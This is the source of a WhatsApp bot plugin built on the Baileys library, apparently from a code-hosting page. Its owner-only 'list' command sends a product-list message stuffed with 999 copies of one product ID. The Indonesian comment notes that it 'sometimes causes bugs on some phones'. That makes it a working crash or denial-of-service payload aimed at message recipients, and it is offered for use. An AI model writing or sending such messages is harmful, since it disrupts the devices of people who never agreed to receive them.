File size: 866 Bytes
a2b2aac |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 |
// Kadang buat bug di beberapa hp, maka gunakan dengan bijak!!!!!!1
import { generateWAMessageFromContent } from "@adiwajshing/baileys"
let handler = async (m, { conn }) => {
let arr = []
for (let i = 0; i < 999; i++) arr.push({ productId: '5164304847020057' })
let prep = generateWAMessageFromContent(m.chat, {
listMessage: {
title: 'Hello World!', description: conn.user.name,
buttonText: 'iyh', listType: 2,
sections: [], productListInfo: {
productSections: [{ title: 'github: Rlxfly', products: arr }],
headerImage: {
productId: '5164304847020057', jpegThumbnail: thumb
},
businessOwnerJid: '6287845646738@s.whatsapp.net'
},
footerText: me,
contextInfo: null
}
}, {})
return conn.relayMessage(m.chat, prep.message, { messageId: prep.key.id })
}
handler.command = /^list$/i
handler.owner = true
export default handler
|